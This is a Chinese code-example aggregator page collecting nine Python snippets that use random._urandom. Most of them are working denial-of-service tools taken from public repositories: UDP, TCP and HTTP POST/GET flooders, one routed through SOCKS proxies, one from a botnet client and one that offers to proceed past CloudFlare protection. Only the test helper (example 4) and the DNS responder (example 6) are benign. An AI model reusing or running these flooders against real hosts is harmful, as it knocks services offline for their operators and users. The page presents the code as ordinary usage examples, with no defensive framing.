当前位置: 首页>>代码示例>>Python>>正文


Python random._urandom方法代码示例

本文整理汇总了Python中random._urandom方法的典型用法代码示例。如果您正苦于以下问题:Python random._urandom方法的具体用法?Python random._urandom怎么用?Python random._urandom使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在random的用法示例。


在下文中一共展示了random._urandom方法的9个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: flood

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def flood(victim, vport, duration):
    # Support us yaakk... :)
    # Okey Jadi disini saya membuat server, Ketika saya memanggil "SOCK_DGRAM" itu  menunjukkan  UDP type program
    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # 20000 representasi satu byte ke server
    bytes = random._urandom(20000)
    timeout =  time.time() + duration
    sent = 3000

    while 1:
        if time.time() > timeout:
            break
        else:
            pass
        client.sendto(bytes, (victim, vport))
        sent = sent + 1
        print "\033[1;91mMemulai \033[1;32m%s \033[1;91mmengirim paket \033[1;32m%s \033[1;91mpada port \033[1;32m%s "%(sent, victim, vport) 
开发者ID:4L13199,项目名称:LITEDDOS,代码行数:19,代码来源:LITEDDOS.py

示例2: post

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def post(event,socks_type):
	global data
	post_host = "POST " + url2 + " HTTP/1.1\r\nHost: " + ip + "\r\n"
	content = "Content-Type: application/x-www-form-urlencoded\r\n"
	refer = "Referer: http://"+ ip + url2 + "\r\n"
	user_agent = "User-Agent: " + random.choice(useragents) + "\r\n"
	accept = Choice(acceptall)
	if mode2 != "y":
		data = str(random._urandom(16)) # You can enable bring data in HTTP Header
	length = "Content-Length: "+str(len(data))+" \r\nConnection: Keep-Alive\r\n"
	if cookies != "":
		length += "Cookies: "+str(cookies)+"\r\n"
	request = post_host + accept + refer + content + user_agent + length + "\n" + data + "\r\n\r\n"
	proxy = Choice(proxies).strip().split(":")
	event.wait()
	while True:
		try:
			s = socks.socksocket()
			if socks_type == 4:
				s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
			if socks_type == 5:
				s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
			if brute:
				s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
			s.connect((str(ip), int(port)))
			if str(port) == '443': # //AUTO Enable SSL MODE :)
				ctx = ssl.SSLContext()
				s = ctx.wrap_socket(s,server_hostname=ip)
			try:
				for _ in range(multiple):
					s.sendall(str.encode(request))
			except:
				s.close()
			print ("[*] Post Flooding from  | "+str(proxy[0])+":"+str(proxy[1]))
		except:
			s.close() 
开发者ID:Leeon123,项目名称:CC-attack,代码行数:38,代码来源:cc.py

示例3: UDP

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def UDP(ip, port, size):
	global stop
	while True:
		if stop :
			break
		udpbytes = random._urandom(int(size))
		sendip=(str(ip),int(port))
		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		try:
			for y in range(thread):
				s.sendto(udpbytes, sendip)
			s.close()
		except:
			s.close() 
开发者ID:Leeon123,项目名称:Python3-Botnet,代码行数:16,代码来源:bot.py

示例4: _get_file_hash

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def _get_file_hash(self):
        title = ''.join([random.choice(ascii_letters) for i in range(10)])
        with open('/tmp/test', 'w') as f:
            f.write(random._urandom(100))

        f = File('/tmp/test', testnet=True, title=title)
        return f.file_hash, f.file_hash_metadata 
开发者ID:ascribe,项目名称:pyspool,代码行数:9,代码来源:test_spool.py

示例5: UDP

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def UDP(ip, port, size):#udp flood(best size is 512-1024, if size too big router may filter it)
	global stop
	while True:
		if stop :
			break
		sendip=(str(ip),int(port))
		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		try:
			for y in range(200):
				udpbytes = random._urandom(int(size))
				s.sendto(udpbytes, sendip)
			s.close()
		except:
			s.close() 
开发者ID:Leeon123,项目名称:Aoyama,代码行数:16,代码来源:client.py

示例6: handle_ul

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def handle_ul(self, ipbuf):
        # check if we have an UDP/53 request
        ip_vers, ip_proto, (udpsrc, udpdst) = \
            ord(ipbuf[0:1])>>4, ord(ipbuf[9:10]), unpack('!HH', ipbuf[20:24])
        if ip_vers != 4 or ip_proto != 53 or udp_dst != 53:
            # not IPv4, not UDP or not on DNS port 53
            return
        
        # build the UDP / DNS response: invert src / dst UDP ports
        if self.UDP_CS:
            udp = UDP(val={'src':udpdst, 'dst':udpsrc}, hier=1)
        else:
            udp = UDP(val={'src':udpdst, 'dst':udpsrc, 'cs':0}, hier=1)
        # DNS request: transaction id, flags, questions, queries
        dnsreq = ipbuf[28:]
        transac_id, questions, queries = dnsreq[0:2], \
                                         unpack('!H', dnsreq[4:6])[0], \
                                         dnsreq[12:]
        if questions > 1:
            # not supported
            self._log('WNG', '%i questions, unsupported' % questions)
        # DNS response: transaction id, flags, questions, answer RRs, 
        # author RRs, add RRs, queries, answers, autor nameservers, add records
        if self.RAND:
            ip_resp = _urandom(4)
        else:
            ip_resp = inet_aton(self.IP_RESP)
        dnsresp = b''.join((transac_id, b'\x81\x80\0\x01\0\x01\0\0\0\0', queries,
                            b'\xc0\x0c\0\x01\0\x01\0\0\0\x20\0\x04', ip_resp))
        
        # build the IPv4 header: invert src / dst addr
        ipsrc, ipdst = inet_ntoa(ipbuf[12:16]), inet_ntoa(ipbuf[16:20])
        iphdr = IPv4(val={'src':ipdst, 'dst':ipsrc}, hier=0)
        #
        pkt = Envelope('p', GEN=(iphdr, udp, Buf('dns', val=dnsresp, hier=2)))
        # send back the DNS response
        self.GTPUd.transfer_v4_to_int(pkt.to_bytes())
        if self.DEBUG:
            self.GTPUd._log('DBG', '[DNSRESP] DNS response sent') 
开发者ID:P1sec,项目名称:pycrate,代码行数:41,代码来源:ServerGTPU.py

示例7: UDP_ATTACK

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def UDP_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False
	target_ip = target.split(":")[0]
	target_port = int(target.split(":")[1])

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting UDP attack...")
	

	threads_list = []

	# UDP flood
	def udp_flood():
		global FINISH
		# Create socket
		sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		while True:
			if FINISH:
				break
			# Send random payload
			try:
				for _ in range(16):
					payload = random._urandom(random.randint(1, 60))
					sock.sendto(payload, (target_ip, target_port))
			except Exception as e:
				print(e)
			else:
				print("\033[1;32m"+"[+]"+"\033[0m"+" UDP packet with size " + str(len(payload)) + " was sent!")

	# Start threads
	for thread in range(threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread)+ "...")
		t = Thread(target = udp_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
开发者ID:entynetproject,项目名称:quack,代码行数:46,代码来源:udp.py

示例8: TCP_ATTACK

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def TCP_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False
	target_ip = target.split(":")[0]
	target_port = int(target.split(":")[1])

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting TCP attack...")
	

	threads_list = []

	# TCP flood
	def tcp_flood():
		global FINISH

		while True:
			if FINISH:
				break
			
			# Create socket
			try:
				sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
				sock.connect((target_ip, target_port))
			except Exception as e:
				print(e)
				print("\033[1;31m"+"[-]"+"\033[0m"+" Failed to create TCP connection!")
				exit()

			# Send random payload
			try:
				for _ in range(16):
					payload = random._urandom(random.randint(1, 120))
					sock.send(payload)
			except Exception as e:
				print(e)
				time.sleep(0.25)
				continue
			else:
				print("\033[1;32m"+"[+]"+"\033[0m"+" TCP packet with size " + str(len(payload)) + " was sent!")

	# Start threads
	for thread in range(threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...")
		t = Thread(target = tcp_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
开发者ID:entynetproject,项目名称:quack,代码行数:57,代码来源:tcp.py

示例9: HTTP_ATTACK

# 需要导入模块: import random [as 别名]
# 或者: from random import _urandom [as 别名]
def HTTP_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False

	if ipTools.isCloudFlare(target):
		print("\033[1;33m"+"[!]"+"\033[0m"+" This site is under CloudFlare protection.")
		if input("\033[1;77m"+"[?]"+"\033[0m"+" Continue HTTP attack? (y/n): ").strip(" ").lower() != "y":
			exit()

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting HTTP attack...")
	
	threads_list = []
	# Load 25 random user agents
	user_agents = []
	for _ in range(threads):
		user_agents.append( randomData.random_useragent() )


	# HTTP flood
	def http_flood():
		global FINISH
		while True:
			if FINISH:
				break
			payload = str(random._urandom(random.randint(1, 30)))
			headers = {
				"X-Requested-With": "XMLHttpRequest",
				"Connection": "keep-alive",
				"Pragma": "no-cache",
				"Cache-Control": "no-cache",
				"Accept-Encoding": "gzip, deflate, br",
				"User-agent": random.choice(user_agents)
			}
			try:
				r = requests.get(target, params = payload)
			except Exception as e:
				print(e)
				time.sleep(2)
			else:
				print("\033[1;32m"+"[+]"+"\033[0m"+" HTTP packet with size " + str(len(payload)) + " was sent!")


	# Start threads
	for thread in range(0, threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...")
		t = Thread(target = http_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
开发者ID:entynetproject,项目名称:quack,代码行数:59,代码来源:http.py


注:本文中的random._urandom方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。